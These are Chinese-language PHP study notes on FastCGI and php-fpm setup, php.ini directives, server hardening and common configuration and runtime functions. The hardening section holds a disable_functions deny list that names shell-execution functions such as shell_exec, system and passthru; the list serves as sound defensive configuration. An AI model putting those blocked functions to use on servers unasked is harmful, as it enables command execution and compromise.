PHP服务器脚本
PHP(Hypertext Preprocessor)超文本预处理器,开源、创建动态交互性站点的通用服务器端脚本语言,可嵌入到HTML中,尤其适合web网站开发、数据库访问、WordPress插件开发 PHP文件默认文件拓展名是.PHP <? ?>是短标签 <?php ?>是长标签 配置文件php.ini中short_open_tag开启后才可用PHP的短标签<?=代替<? echo,但短标签不推荐,使用长标签才是规范,只是因为这种短标签使用的时间比较长,这种特性才被保存了下来 【 PHP能做什么 】 PHP主要是用于服务端的脚本程序,因此可用PHP完成任何其它的CGI程序能够完成的工作,如收集表单数据,生成动态网页或者发送接收Cookies,但PHP的功能远不局限于此。 PHP脚本主要用于以下三个领域: 1、服务端脚本,这是PHP最传统最主要的目标领域。 开展这项工作需要具备以下三点: PHP解析器(CGI或服务器模块)、web服务器和web浏览器。需要在运行web服务器时安装并配置PHP,然后可用web浏览器来访问PHP程序的输出,即浏览服务端的PHP页面,如果租用了web空间就无需设置任何东西,仅需要编写PHP脚本,并上传到租用的空间中,然后在浏览器中查看结果 2、PHP的命令行模式、命令行脚本 可编写一段PHP脚本,且不需要任何服务器或浏览器来运行它,通过这种方式只需要PHP解析器来执行,这种用法对于依赖cron(Linux环境)或Task Scheduler(Windows环境)的日常运行的脚本来说是理想的选择,这些脚本也可以用来处理简单的文本 3、桌面应用程序(GUI) 对于有着图形界面的桌面应用程序来说,PHP或许不是一种最好的语言,但如果用户非常精通PHP,并且希望在客户端应用程序中使用PHP的一些高级特性,可以利用PHP-GTK来编写这些程序,用这种方法还可以编写跨平台的应用程序,PHP-GTK是PHP的一个扩展,在通常发布的PHP包中并不包含它 【 php单线程多线程 】 对应一个客户的一个页面请求处理的php是单线程处理的,这样就可以自上而下的编辑代码中的业务逻辑,但php可同时开很多线程来处理很多用户请求的同一个PHP,所以php也可以看成是多线程 每个PHP文件的执行是单线程的,但服务器(apache/nigix/php-fpm)是多线程的,每次对某个PHP文件的访问服务器都会创建一个新的进程/线程来执行对应的PHP文件,也就是说对于一个请求来说PHP是单线程的,但是多个请求间是并发的。 其实一般写PHP程序认为是单线程的就可以了,多个请求之间相互的关系就是,有些时候读写数据库、文件、session等会加锁,导致后面的请求挂起等待前面的请求执行完才继续。 至于协程,只能说是一种新的程序执行流程(旧的是顺序,判断,循环),本质是也是单线程的,所以准确的说php是单线程的,一定程度上也可以看成是多线程 PHP默认不支持多线程,要使用多线程需安装pthread扩展,而安装pthread扩展必须用--enable-maintainer-zts参数重新编译PHP,这个参数是指定编译PHP时使用线程安全方式。 ./configure --enable-maintainer-zts --with-tsrm-pthreads 具体来说是那种模型需要看使用的是哪个SAPI,比如说在Apache中就可能使用多线程模型,也可能使用多进程模型,而php-fpm使用的就是多进程模型 【 服务器 】 PHP能在所有的主流操作系统上使用,包括Linux、Unix的各种变种(包括HP-UX、Solaris和OpenBSD)、Microsoft Windows、Mac OS X、RISC OS等 PHP已支持了大多数的web服务器,包括Apache、Microsoft Internet Information Server(Internet信息服务器IIS)、Personal Web Server(PWS)、Netscape及iPlant server、Oreilly Website Pro Server、Caudium、Xitami、OmniHTTPd等。对于大多数的服务器,PHP提供了一个模块;还有一些PHP支持CGI标准,使得PHP能够作为CGI处理器来工作。 如果需要自己配置服务器和PHP,有两个方法将PHP连接到服务器上。对于很多服务器PHP均有一个直接的模块接口(也叫做SAPI)。这些服务器包括Apache、Microsoft Internet Information Server、Netscape和iPlanet等服务器,其它很多服务器支持ISAPI,即微软的模块接口。如果PHP不能作为模块支持web服务器,总可以将其作为CGI或FastCGI处理器来使用,这意味着可以使用PHP的CGI可执行程序来处理所有服务器上的PHP文件请求 Web服务器: 指nginx、apache这类的服务器,一般只能解析静态资源。 应用服务器: 指tomcat、jetty、resin这类的服务器可以解析动态资源和静态资源,但解析静态资源的能力没有web服务器好。 一般只有web服务器才能被外网访问,应用服务器只能内网访问 早期的http server就叫做apache,http server 2.0后就改名为httpd,httpd是unix系统apache的可执行文件的文件名,一般在这些系统httpd指的就是apache apache和tomcat都可以作为web服务,像win的IIS一样,不同的是tomcat支持jsp等特定脚本。apache2以上版本改称为httpd Apache和Tomcat的区别: Apache是web服务器,Tomcat是应用(java)服务器,它只是一个servlet容器,是Apache的扩展。 Apache和Tomcat都可以做为独立的web服务器来运行。 可以通过插件支持php,还可以与Tomcat连通。 两者都是一种容器,只不过发布的东西不同。
CGI、FAST-CGI、PHP-FPM
PHP常见的四种运行方式: CGI、FastCGI、Mod_PHP及CLI,Nginx与PHP的合作就是通过FastCGI运行 cgi(common gateway interface公共网关接口)、fast-cgi协议 早期的webserver只处理html等静态文件,webserver处理不了php等动态语言只能交给php解释器来处理 cgi协议为解决不同的语言解释器(如php、python解释器)与webserver的通信,只要按照cgi协议编写程序就能实现语言解释器与webwerver的通信,如php-cgi程序 fast-cgi的改进 cgi协议解决了php解释器与webserver通信的问题webserver终于可以处理动态语言 但是webserver每收到一个请求都会去fork一个cgi进程,请求结束再kill掉这个进程。这样有10000个请求就需要fork、kill php-cgi进程10000次,很浪费资源 于是出现了cgi的改良版本fast-cgi。fast-cgi每次处理完请求后不会kill掉这个进程,而是保留这个进程,使这个进程可以一次处理多个请求。这样每次就不用重新fork一个进程了,大大提高了效率。 FastCGI是CGI(即通用网关接口)的升级版 传统的CGI模式把网页和WEB服务器中的执行程序连接起来,它把网页发送的指令传递给服务器的执行程序,再把服务器执行程序的结果返还给网页 在这种运行方式下服务器有多少连接请求就会有多少CGI子进程,当用户请求数量非常多时会大量挤占系统的资源如内存、CPU时间等,造成效能低下 FastCGI作为CGI的升级版,它将CGI解释器进程保持在内存中 1、Web Server启动时载入FastCGI进程管理器(如php-fpm) 2、FastCGI进程管理器自身初始化,启动多个CGI解释器进程,并等待来自Web Server的连接。 3、当客户端请求到达Web Server时FastCGI进程管理器选择并连接到一个CGI解释器,Web server将CGI环境变量和标准输入发送到FastCGI子进程。 4、FastCGI子进程完成处理后将标准输出和错误信息从同一连接返回Web Server。当FastCGI子进程关闭连接时,请求便告处理完成。FastCGI子进程接着等待并处理来自FastCGI进程管理器的下一个连接。 PHP-FPM是一个实现了Fastcgi的程序,简称FastCGI进程管理器(FastCGI Process Manager) FPM (FastCGI进程管理器)是一个可选的PHP FastCGI实现并且附加了对高负载网站很有用的特性,用于替换PHP FastCGI的大部分附加功能 这个SAPI在PHP5.3.3以后已经被绑定,从PHP5.3.3开始就成为了PHP的内置管理器,PHP5.3.3之后编译事安装时使用--enalbe-fpm编译参数就可以启用PHP-FPM 使用PHP-FPM就意味着不用Apache内置的mod_php,也就是要在Apache之外处理php程序的解释运行问题。看起来是多引入了一个额外的程序PHP-FPM,既占CPU又占内存。但这样一来,因为Apache可以专心处理除php之外的静态网页及元素,反而httpd进程本身占用的CPU和内存可以显著降低,从而从整体上降低资源消耗。 apt install -y php-fpm php-fpm即php-Fastcgi Process Manager,php-fpm是FastCGI的实现,并提供了进程管理的功能。 进程包含master进程和worker进程两种进程。 实现了fastCGI协议的nginx,第一次启动时会启动一个php-fpm的master进程,该master进程初始化环境后,启动多个worker进程(即php-fpm进程池中的php-fpm) master进程只有一个,负责监听端口,接收来自Web Server的请求,而worker进程则一般有多个(具体数量根据实际需要配置),每个进程内部都嵌入了一个PHP解释器,是PHP代码真正执行的地方 当请求发来后,master进程把请求分发到进程池中的php-fpm,分发完后就可以接下一个请求了,避免了重复劳动(重复加载php.ini初始化环境),效率自然提升了 当请求多的时候master会启动更多的php-fpm子进程,当请求少的时候master也会停掉一些子进程。既提高了性能也节省资源。 当php-fpm设定的上限不足以支持更高的并发请求时,nginx只能返回502错误了,因为没有更多的php-fpm进程可用了。 php54之前php-fpm(第三方编译)是管理器,php-cgi是解释器 php54之后php-fpm(官方自带),master与pool模式。php-fpm和php-cgi没有关系了,php-fpm又是解释器,又是管理器 php-fpm是管理php-cgi的说法是针对php54之前的 安装 从源代码编译 编译PHP时需要--enable-fpm配置选项来激活FPM支持 以下为FPM编译的具体配置参数(全部为可选参数): --with-fpm-user - 设置FPM运行的用户身份(默认 - nobody) --with-fpm-group - 设置FPM运行时的用户组(默认 - nobody) --with-fpm-systemd - 启用systemd集成 (默认 - no) --with-fpm-acl - 使用POSIX访问控制列表 (默认 - no) 5.6.5版本起有效 1、下载php源码包 http://www.php.net/downloads.php 2 、安装php tar -xvf php-5.5.13.tar.bz2 cd php-5.5.13 ./configure --prefix=/usr/local/php --with-config-file-path=/etc --enable-inline-optimization --disable-debug --disable-rpath --enable-shared --enable-opcache --enable-fpm --with-fpm-user=www --with-fpm-group=www --with-mysql=mysqlnd --with-mysqli=mysqlnd --with-pdo-mysql=mysqlnd --with-gettext --enable-mbstring --with-iconv --with-mcrypt --with-mhash --with-openssl --enable-bcmath --enable-soap --with-libxml-dir --enable-pcntl --enable-shmop --enable-sysvmsg --enable-sysvsem --enable-sysvshm --enable-sockets --with-curl --with-zlib --enable-zip --with-bz2 --with-readline --without-sqlite3 --without-pdo-sqlite --with-pear make make install FPM的功能包括: 1、支持平滑停止/启动的高级进程管理功能; 2、可以工作于不同的uid/gid/chroot环境下,并监听不同的端口和使用不同的php.ini配置文件(可取代safe_mode的设置); 3、stdout和stderr日志记录; 4、在发生意外情况的时候能够重新启动并缓存被破坏的opcode; 5、文件上传优化支持; 6、"慢日志" - 记录脚本(不仅记录文件名,还记录PHP backtrace信息,可以使用ptrace或类似工具读取和分析远程进程的运行数据)运行所导致的异常缓慢; 7、fastcgi_finish_request() - 特殊功能: 用于在请求完成和刷新数据后,继续在后台执行耗时的工作(录入视频转换、统计处理等); 8、动态/静态子进程产生; 9、基本SAPI运行状态信息(类似Apache的mod_status); 10、基于php.ini的配置文件 php-cgi不是FastCGI进程管理器,php-fpm才是 要对php-cgi进程进行管理,需要使用特别的模块:比如Apache的mod_fcgid,IIS的PHP Manager.而Nginx只负责反向代理/请求转发,不负责管理php-cgi进程,所以Nginx一般配合能够自行管理工作进程(子进程)的php-fpm使用 php-fpm是一个独立的SAPI,其管理的不是php-cgi,也就是说php-fpm跟php-cgi无关,php-fpm内置php解释器,php-fpm的子进程是自己fork出来的,并不会调用php-cgi,你把系统中的php-cgi删了也不会影响到php-fpm服务的正常运行 php-fpm在pm = static配置下工作进程常驻后台,也就是如果你配置了5个工作进程pm.max_children = 5,那php-fpm服务启动时就会自动fork出5个子进程并常驻后台,不会在请求处理结束后退出,也不会在空闲时退出.如果你在php脚本中使用了数据库持久连接,这时这5个工作进程还会建立并维持5个到数据库的持久连接,实现在处理多个请求的时候重用数据库连接资源,避免每个请求都建立/释放一次数据库连接.持久连接还能做到超时自动重连,对php-fpm里的脚本来说是完全透明的,脚本只需在启动时指明使用持久连接即可 php-fpm在pm = dynamic配置下工作进程【部分】常驻后台,也就是维持一定数量的常驻进程,服务繁忙时fork出更多的进程,服务闲置时自动关掉一些进程,把内存资源归还给操作系统.虚拟主机提供商应该是比较喜欢这种方式的.总而言之,PHP-FPM这种运行模式类似于Apache的prefork MPM,能静能动的多进程网络服务 配置 FPM使用类似php.ini语法的php-fpm.conf和进程池配置文件 PHP-FPM既可以寄宿于web服务器运行,也可以独立于web服务器运行,PHP-FPM的配置文件内容: listen_address 127.0.0.1:9000 // 默认监听127.0.0.1:9000,在实际的工作中这个地址监听地址是可以更改的 start_servers min_spare_servers max_spare_servers配置nginx
windows下PHP5.6 php-cgi进程守护,避免经常出现php挂掉 windows下php-cgi进程处理一定数量的访问后就会自动关闭,由于没办法直接让php-cgi进程支持更多的访问数量,所以只能启动多个进程来满足需求。 xxfpm是一个可执行程序,它能同时启动多个php-cgi进程,并在任何一个进程关闭时都会重新启动一个新的进程,始终保持一定数量的进程,这样就无需手动创建,省去了很多麻烦。 xxfpm需要pthreadGC2.dll的支持,如果没有会报错。将pthreadGC2.dll放在xxfpm的bin目录下,即可启动xxfpm https://github.com/78/xxfpm下载xxfpm,放到任何目录,比如放在d:\wnmp下面。 D:\wnmp\xxfpm\bin\xxfpm.exe "D:/wnmp/php/php-cgi.exe -c D:/wnmp/php/php.ini" -n 5 -i 127.0.0.1 -p 9000 这样的cmd命令去运行就可以了。 也可以用RunHiddenConsole.exe 配合着使用: D:\wnmp\RunHiddenConsole.exe D:\wnmp\xxfpm\bin\xxfpm.exe "D:/wnmp/php/php-cgi.exe -c D:/wnmp/php/php.ini" -n 5 -i 127.0.0.1 -p 9000
php配置文件
wamp有两个php.ini,分别为命令行和apache服务器提供配置信息,要根据自己运行情况去修改 命令行配置文件 C:\Users\lenovo>php --ini Configuration File (php.ini) Path: C:\WINDOWS Loaded Configuration File: E:\wamp64\bin\php\php5.6.16\php.ini Scan for additional .ini files in: (none) Additional .ini files parsed: (none) apache配置文件 查看phpinfo(); Configuration File (php.ini) Path C:\WINDOWS Loaded Configuration File E:\wamp64\bin\apache\apache2.4.17\bin\php.ini 【 修改php.ini 】 Sessions 使用较长的Session ID长度,增加会话id长度会使攻击者更难猜到(通过暴力或更有可能的侧通道攻击)。长度可以介于22到256个字符之间,默认值为32 sed -i -e "s/session.sid_length = 26/session.sid_length = 42/" /etc/php7/php.ini 使用具有限制权限的自定义会话保存路径,只有nginx/php需要访问会话,所以将它们放在一个具有受限权限的特殊文件夹中。 sed -i -e "s:;session.save_path = \"/tmp\":session.save_path = \"/sessions\":" /etc/php7/php.ini mkdir -p /sessions chown nginx:nginx /sessions chmod 700 /sessions 安全会话Cookie session.cookie_httponly来阻止js访问它们 sed -i -e "s/session.cookie_httponly.*/session.cookie_httponly = true/" /etc/php7/php.ini sed -i -e "s/;session.cookie_secure.*/session.cookie_secure = true/" /etc/php7/php.ini session.cookie_secure 防止cookie在明文HTTP上传输 session.cookie_samesite 以防止跨站点攻击,仅适用于最新的PHP/浏览器。 使用严格模式 由于Cookie规范,攻击者能够通过本地设置Cookie数据库或JS注入来放置不可移除的会话ID Cookie。session.use_strict_mode可以防止使用攻击者初始化的会话ID 限制生存期,会话应与浏览器一起关闭,因此设置session.cookie_lifetime为0 open_basedir是一个php.ini配置选项,允许限制PHP可以访问的文件/目录。 sed -i -e "s#;open_basedir =#open_basedir = /elabftw/:/tmp/:/usr/bin/unzip#" /etc/php7/php.ini 这里添加了unzip,因为它是由Composer使用的,/elabftw是所有源php文件所在的位置 禁用功能 sed -i -e "s/disable_functions =/disable_functions = php_uname, getmyuid, getmypid, passthru, leak, listen, diskfreespace, tmpfile, link, ignore_user_abort, shell_exec, dl, system, highlight_file, source, show_source, fpaththru, virtual, posix_ctermid, posix_getcwd, posix_getegid, posix_geteuid, posix_getgid, posix_getgrgid, posix_getgrnam, posix_getgroups, posix_getlogin, posix_getpgid, posix_getpgrp, posix_getpid, posix_getppid, posix_getpwnam, posix_getpwuid, posix_getrlimit, posix_getsid, posix_getuid, posix_isatty, posix_kill, posix_mkfifo, posix_setegid, posix_seteuid, posix_setgid, posix_setpgid, posix_setsid, posix_setuid, posix_times, posix_ttyname, posix_uname, phpinfo/" /etc/php7/php.ini 禁用url_fopen sed -i -e "s/allow_url_fopen = On/allow_url_fopen = Off/" /etc/php7/php.ini 禁用cgi.fix_pathinfo,不想让非PHP文件作为PHP文件执行 sed -i -e "s/;cgi.fix_pathinfo=1/cgi.fix_pathinfo=0/g" /etc/php7/php.ini 隐藏PHP版本 sed -i -e "s/expose_php = On/expose_php = Off/g" /etc/php7/php.ini 【 extension_loaded() 】 extension_loaded ( string $name ): bool 检查一个扩展是否已经加载,name参数表示扩展名称,大小写不敏感。 可以用phpinfo()来查看一系列扩展名称,而在CGI或CLI的PHP版本里可以使用-m参数来列出所有有效的扩展 【 dl() 】 dl ( string $library ): bool 运行时载入一个PHP扩展,也可以通过php.ini加载一个扩展的例子,基于操作系统
【 get_loaded_extensions() 】
get_loaded_extensions ([ bool $zend_extensions = false ] ): array
返回PHP解析器里所有编译并加载模块名的索引array,参数true表示只返回Zend扩展,并非类似mysqli的普通扩展,默认FALSE即返回普通扩展
【 get_extension_funcs 】
get_extension_funcs ( string $module_name ): array
根据module_name返回模块内定义的所有函数的名称的数组
【 get_cfg_var() 】
get_cfg_var ( string $option ): string
获取PHP配置选项的值
echo @get_cfg_var("mysql.allow_persistent") ? "是" : "否"; // MySQL数据库持续连接
echo @get_cfg_var("mysql.max_links")==-1 ? "不限" : @get_cfg_var("mysql.max_links"); // MySQL最大连接数
echo get_cfg_var('upload_max_filesize') ?: '不允许上传附件'; // 最大上传限制
echo get_cfg_var("max_execution_time")."秒 "; // 最大执行时间
echo get_cfg_var ("memory_limit") ?:"无"; // 脚本运行占用最大内存
【 phpinfo() 】
输出关于PHP配置的信息,包含PHP编译选项、启用的扩展、PHP版本、服务器信息和环境变量(如果编译为一个模块的话)、PHP环境变量、操作系统版本信息、path变量、配置选项的本地值和主值、HTTP头和PHP授权信息(License)
phpinfo()的很多部分有两个Column: Local Value(局部变量)和Master Value(主变量)
Master Value是PHP.ini文件中的内容。
Local value是当前目录中的设置,这个值会覆盖Master Value中对应的值
由于WEB Sever Config或.htaccess的设置,或程序中ini_set()的设置,当前目录中的设置会不同于PHP.ini文件中的设置
Apache的配置文件中可以重写php.ini的设置,可能在conf/httpd.conf,也可能在conf.d/***.conf中,一般在conf.d/php.conf中
【 phpversion() 】
phpversion ([ string $extension ] ): string
返回当前运行PHP解释器或扩展的版本信息的string
参数extension是可选的扩展名,表示返回该扩展的版本,如果没有对应的版本信息或该扩展未启用则返回FALSE
var_dump(phpversion()); // string(6) "5.6.16"
【 version_compare() 】
version_compare ( string $version1 ,string $version2 [,string $operator ] ): mixed
版本比较,对比两个「PHP规范化」的版本数字字符串
version_compare(phpversion(), '5.4.0','>=')
version_compare(PHP_VERSION, '5.1.0','>=')
version_compare('5.0.0', '5.1.0') // -1
version_compare('5.1.0', '5.1.0') // 0
version_compare('5.2.0', '5.1.0') // 1
【 get_loaded_extensions() 】
get_loaded_extensions ([ bool $zend_extensions = false ] ): array
返回PHP解析器里所有编译并加载模块名的array
参数zend_extensions只返回Zend扩展,并非类似mysqli的普通扩展,默认是FALSE (返回普通扩展)
【 memory_get_usage() 】
memory_get_usage ([ bool $real_usage = false ] ): int
返回当前分配的PHP脚本的内存量,单位是字节byte
real_usage如果设置为TRUE,获取系统分配总的内存尺寸,包括未使用的页
如果未设置或设置为FALSE,仅仅报告实际使用的内存量
【 memory_get_peak_usage() 】
memory_get_peak_usage ([ bool $real_usage = false ] ): int
返回分配给PHP脚本的内存峰值字节数,real_usage为TRUE可获取从系统分配到的真实内存尺寸,否则仅会报告emalloc()使用的内存
【 putenv() 】
putenv ( string $setting ): bool
添加setting到服务器环境变量,环境变量仅存活于当前请求期间,在请求结束时环境会恢复到初始状态,成功时返回TRUE,否则返回FALSE
putenv("UNIQID=$uniqid");
设置特定的环境变量也有可能是一个潜在的安全漏洞,safe_mode_allowed_env_vars包含了一个以逗号分隔的前缀列表,在安全模式下用户仅能修改用该指令设定的前缀名称的指令,默认用户仅能够修改以PHP_开头的环境变量(例如PHP_FOO=BAR) 如果此指令是空的,PHP允许用户设定任意环境变量
safe_mode_protected_env_vars指令包含了逗号分隔的环境变量列表,使用户最终无法通过putenv()修改,即使safe_mode_allowed_env_vars设置允许修改,这些变量也会被保护
【 getenv() 】
getenv ( string $varname ): string
获取返回一个环境变量varname的值,如果环境变量varname不存在则返回FALSE
使用phpinfo()可以看到所有环境变量的列表
$uniqid = 'hello php';
putenv("UNIQID=$uniqid");
var_dump(getenv('UNIQID')); // string 'hello php'
var_dump(getenv('HTTP_HOST')); // string 'localhost'
var_dump(getenv('REMOTE_ADDR')); // string '::1'
var_dump($_SERVER['REMOTE_ADDR']); // string '::1',简单仅使用全局变量($_SERVER)
【 register_shutdown_function() 】
register_shutdown_function ( callable $callback [, mixed $parameter [, mixed $... ]] ) : void
register_shutdown_function(["ClassName", "method"]);
注册一个callback在脚本执行完或exit()中止执行后被调用,无返回值
可以多次调用register_shutdown_function(),这些被注册的回调会按照他们注册时的顺序被依次调用。如果在注册的方法内部调用exit(),那么所有处理会被中止,并且其他注册的中止回调也不会再被调用
callback参数:待注册的中止回调,中止回调是作为请求的一部分被执行的,因此可在它们中进行输出或读取输出缓冲区。如传入的callback不可调用将会产生E_WARNING级别的错误
parameter参数: 可以通过传入额外的参数来将参数传给中止函数
在某些web server如Apache上可以在中止函数内对脚本的工作目录进行修改。
如果进程被信号SIGTERM或SIGKILL杀死,那么中止函数将不会被调用。尽管无法中断SIGKILL,但可通过pcntl_signal()捕获SIGTERM,通过在其中调用exit()来进行一个正常的中止
脚本出现致命错误会给用户显示一个错误信息或空白页(在display_errors设为off的情况下)
register_shutdown_function函数可以设置一个当执行关闭时可以被调用的另一个函数,即当脚本执行完成或意外死掉导致PHP执行即将关闭时这个函数将会被调用,所以可在脚本开始处设置一个变量为false,然后在脚本末尾将之设置为true的方法,让PHP关闭回调函数检查脚本完成与否,如果变量仍旧是false表示脚本的最后一行没有执行,因此它肯定在程序执行到某处死掉了
演示在一个致命错误需要显示时,应该怎么给用户一些合适的反馈,可以通过关闭致命错误的显示(设置display_errors和error_reporting),让例子看起来好看些
如果关闭回调函数运行时,clean变量没有被设为true,shutdown_func函数将会打印出一些东西,可以包装成一个类(不使用全局变量)
PHP提供register_shutdown_function()这个函数能够在脚本终止前回调注册的函数,即PHP程序执行完成后执行的函数
register_shutdown_function执行机制
php把要调用的函数调入内存。当页面所有php语句都执行完成时再调用此函数,不要理解成客户端关闭流浏览器页面时调用函数。这时从内存中调用,不是从php页面中调用,所以上面的例子不能使用相对路径,因为php已经当原来的页面不存在了,就没有什么相对路径可言
可以这样理解调用条件:
1、当页面被用户强制停止时
2、当程序代码运行超时时
3、当php代码执行完成时,代码执行存在异常和错误、警告
【 set_time_limit() 】
set_time_limit ( int $seconds ): bool
设置允许脚本最大运行执行时间,如果超过了此设置脚本返回一个致命的错误,默认30秒或是在php.ini的max_execution_time被定义的值
set_time_limit()被调用时会从零开始重新启动超时计数器,即如果超时默认是30秒,在脚本运行了25秒时调用set_time_limit(20),那么脚本在超时之前可运行总时间为45秒
成功时返回TRUE,失败时返回FALSE
当php运行于安全模式时此功能不能生效。除了关闭安全模式或改变php.ini中的时间限制,没有别的办法
set_time_limit()函数和配置指令max_execution_time只影响脚本本身执行的时间。任何发生在诸如使用system()的系统调用、流操作、数据库操作等的脚本执行的最大时间不包括其中,当该脚本已运行。在测量时间是实值的Windows中情况就不是如此
ini_set('max_execution_time', '0');//设置永不超时,无限执行下去直到结束
max_execution_time integer
设置了脚本被解析器中止之前允许的最大执行时间,单位秒。这有助于防止写得不好的脚本占尽服务器资源。默认设置为30
从命令行运行PHP时,默认设置为0。
最大执行时间不会影响系统调用和系统操作等
在安全模式下不能通过ini_set()来修改此设置,唯一的解决方法是关闭安全模式或在php.ini中修改时间限制。
web服务器也可以有其他超时设置,也有可能中断PHP的执行。Apache有一个Timeout指令,IIS有一个CGI超时功能。 他们默认都是300秒
set_time_limit(5);当执行时间超过5秒时,PHP不再继续执行,返回空白页。
有的时候需要在超时后做一些事情,比如记录日志等
这时可以使用void register_shutdown_function ( callback function)函数,小括号内写函数名。超时后,执行你指定的callback函数。
但register_shutdown_function ( callback function) 只提供了函数名,不能提供参数。那怎么传参数呢?
可以将参数放到文件里,callback函数直接读取文件里的内容
【 ini_set() 】
ini_set('memory_limit','1024M');
脚本运行占用最大内存
【 get_current_user() 】
get_current_user ( void ): string
获取当前PHP脚本所有者名称
echo 'Current script owner: ' . get_current_user();
【 getmyuid() 】
获取PHP脚本所有者的UID
【 getmygid() 】
获取当前PHP脚本拥有者的GID
【 getmypid() 】
获取PHP进程的ID
【 getmyinode() 】
获取当前脚本的索引节点(inode)
【 getlastmod() 】
获取页面最后修改的时间
【 posix_getpid() 】
int posix_getpid ( void )
Return the process identifier of the current process. 返回当前进程的id,整型(integer)
php.ini配置
【 PHP.ini常用配置 】
开启PHP短标记风格: short_open_tag = Off 将Off改为On
开启PHP ASP标记风格: asp_tags = Off 将Off改为On
PHP报错日志路径: error_log = "E:/wamp/logs/php_error.log"
将时区改成东八区: date.timezone = Asia/Shanghai PRC
PHP报错信息提示配置: error_reporting = E_ALL,默认E_ALL表示显示所有的错误和警告。
只显示报错,不显示警告、提醒和编码标准化警告,配置中的"~"表示非,如error_reporting = E_ALL & ~E_NOTICE & ~E_WARNING & ~E_STRICT
PHP报错等级:
E_ALL - 所有的错误和警告(不包括E_STRICT)
E_ERROR - 致命性的运行时错误
E_WARNING - 运行时警告(非致命性错误)
E_NOTICE - 运行时提醒(代码中的bug引起的,也可能是有意的行为造成的)
E_STRICT - 编码标准化警告,允许PHP建议如何修改代码以确保最佳的互操作性向前兼容性。
PHP错误信息提示的配置除了在php.ini文件中配置之外还可以在PHP脚本文件中使用PHP函数进行设置,两者等价:
error_reporting(E_ALL & ~E_NOTICE & ~E_WARNING & ~E_STRICT);
PHP文件执行编码设置: default_charset = "UTF-8" 此处的设置相当于对PHP文件进行运行时浏览器都会自动按照utf-8编码的方式将其打开执行。
等价于PHP文件开头写: header('Content-type:text/html;Charset=utf-8');
以post方式提交的表达数据大小: post_max_size = 3M 默认3M,可以修改
是否允许文件上传: file_uploads = On 建议不要改成Off,否则将不支持文件上传。
文件上传到服务器的临时路径: upload_tmp_dir = "E:/wamp/tmp"
支持文件上传的最大值: upload_max_filesize = 64M
PHP扩展路径: extension_dir = "E:/wamp/bin/php/php5.5.12/ext/" 安装的集成环境一般此处不用修改,作用是按照此路径找到PHP中的扩展文件使用一些扩展提供的函数库
extension=php_gd2.dll gd2扩展提供了关于图像处理的函数库
extension=php_mbstring.dll 中文字符串函数库扩展,使用中文字符串函数时开启此扩展
extension=php_mysql.dll mysql相关函数库扩展,需要开启
extension=php_mysqli.dll mysqli相关函数库扩展,需要开启
extension=php_pdo_mysql.dll 使用pdo请开启此处扩展
关于PHP中SESSION的相关配置
session.save_handler = files SESSION信息的存储方式是以文件形式存储
session.save_path = "E:/wamp/tmp" SESSION文件的默认存储路径
session.use_cookies = 1 值为1表示SESSION的存储可依赖COOKIE,将SessionID存储在COOKIE中
session.use_only_cookies = 1 值为1表示SESSION仅依赖COOKIE,如COOKIE禁用SESSION将不能直接使用;此处值为0表示如COOKIE禁用,在session.use_trans_sid=1的情况下SessionID可以通过url参数的形式自动传递到需要的页面中。
【 配置指令作用域 】
PHP中的每个指令都有自己的作用域,指令只能在其作用域中修改,不是任何地方都能修改配置指令的
PHP总共有4个配置指令作用域:
PHP_INI_PERDIR: 指令可以在php.ini、httpd.conf或.htaccess文件中修改
PHP_INI_SYSTEM: 指令可以在php.ini和httpd.conf文件中修改
PHP_INI_USER: 指令可以在用户脚本中修改
PHP_INI_ALL: 指令可以在任何地方修改
【 运行时配置 】
这些函数的行为受php.ini中的设置影响
PHP 选项/Inf 配置选项
名字 默认 可修改范围 更新日志
assert.active "1" PHP_INI_ALL
assert.bail "0" PHP_INI_ALL
assert.warning "1" PHP_INI_ALL
assert.callback NULL PHP_INI_ALL
assert.quiet_eval "0" PHP_INI_ALL
assert.exception "0" PHP_INI_ALL Available since PHP7.0.0
max_execution_time "30" PHP_INI_ALL
max_input_time "-1" PHP_INI_PERDIR 自PHP4.3.0起有效
max_input_nesting_level "64" PHP_INI_PERDIR 自PHP4.4.8 and PHP5.2.3起有效
max_input_vars 1000 PHP_INI_PERDIR 自PHP5.3.9起有效
magic_quotes_gpc "1" 在PHP5.4.0中被移除
magic_quotes_runtime "0" 在PHP5.4.0中移除
zend.enable_gc "1" PHP_INI_ALL 自PHP5.3.0起有效
【 php.ini配置选项列表 】
名字 默认 可修改范围 更新日志
allow_url_fopen "1" PHP_INI_SYSTEM 在PHP<= 4.3.4时是PHP_INI_ALL
allow_url_include "0" PHP_INI_ALL 在PHP5时是PHP_INI_SYSTEM 从PHP5.2.0起可用
always_populate_raw_post_data "0" PHP_INI_PERDIR 在PHP<= 4.2.3时是PHP_INI_ALL 从PHP4.1.0起可用
apd.bitmask "0" PHP_INI_ALL 在apd0.9中移除该选项
apd.dumpdir NULL PHP_INI_ALL
apd.statement_tracing "0" PHP_INI_ALL 从apd 0.9起可用
arg_separator 在PHP4.0.6 中移除该选项
arg_separator.input "&" PHP_INI_PERDIR 从PHP4.0.5起可用
arg_separator.output "&" PHP_INI_ALL 从PHP4.0.5起可用
asp_tags "0" PHP_INI_PERDIR 在PHP4.0.0时是PHP_INI_ALL
auto_append_file NULL PHP_INI_PERDIR 在PHP<= 4.2.3时是PHP_INI_ALL
auto_detect_line_endings "0" PHP_INI_ALL 从PHP4.3.0起可用
auto_globals_jit "1" PHP_INI_PERDIR 从PHP5.0.0起可用
auto_prepend_file NULL PHP_INI_PERDIR 在PHP<= 4.2.3时是PHP_INI_ALL
axis2.client_home "~/work/axisc/c/deply" PHP_INI_ALL
axis2.enable_exception "1" PHP_INI_ALL
axis2.enable_trace "1" PHP_INI_ALL
axis2.log_path "/tmp" PHP_INI_ALL
bcmath.scale "0" PHP_INI_ALL
bcompiler.enabled "1" PHP_INI_ALL 从bcompiler 0.8起可用
birdstep.max_links "-1" PHP_INI_ALL 从PHP4.2.0起可用
blenc.key_file "/usr/local/etc/blenckeys" PHP_INI_ALL
browscap NULL PHP_INI_SYSTEM
cgi.check_shebang_line "1" PHP_INI_SYSTEM 从PHP5.2.1起可用
cgi.discard_path "0" PHP_INI_SYSTEM 从PHP5.3.0起可用
cgi.fix_pathinfo "1" PHP_INI_SYSTEM 在PHP<= 5.2.0时是PHP_INI_ALL 从PHP4.3.0起可用
cgi.force_redirect "1" PHP_INI_SYSTEM 在PHP<= 5.2.0时是PHP_INI_ALL 从PHP4.2.0起可用
cgi.nph "0" PHP_INI_ALL 从PHP4.3.5起可用
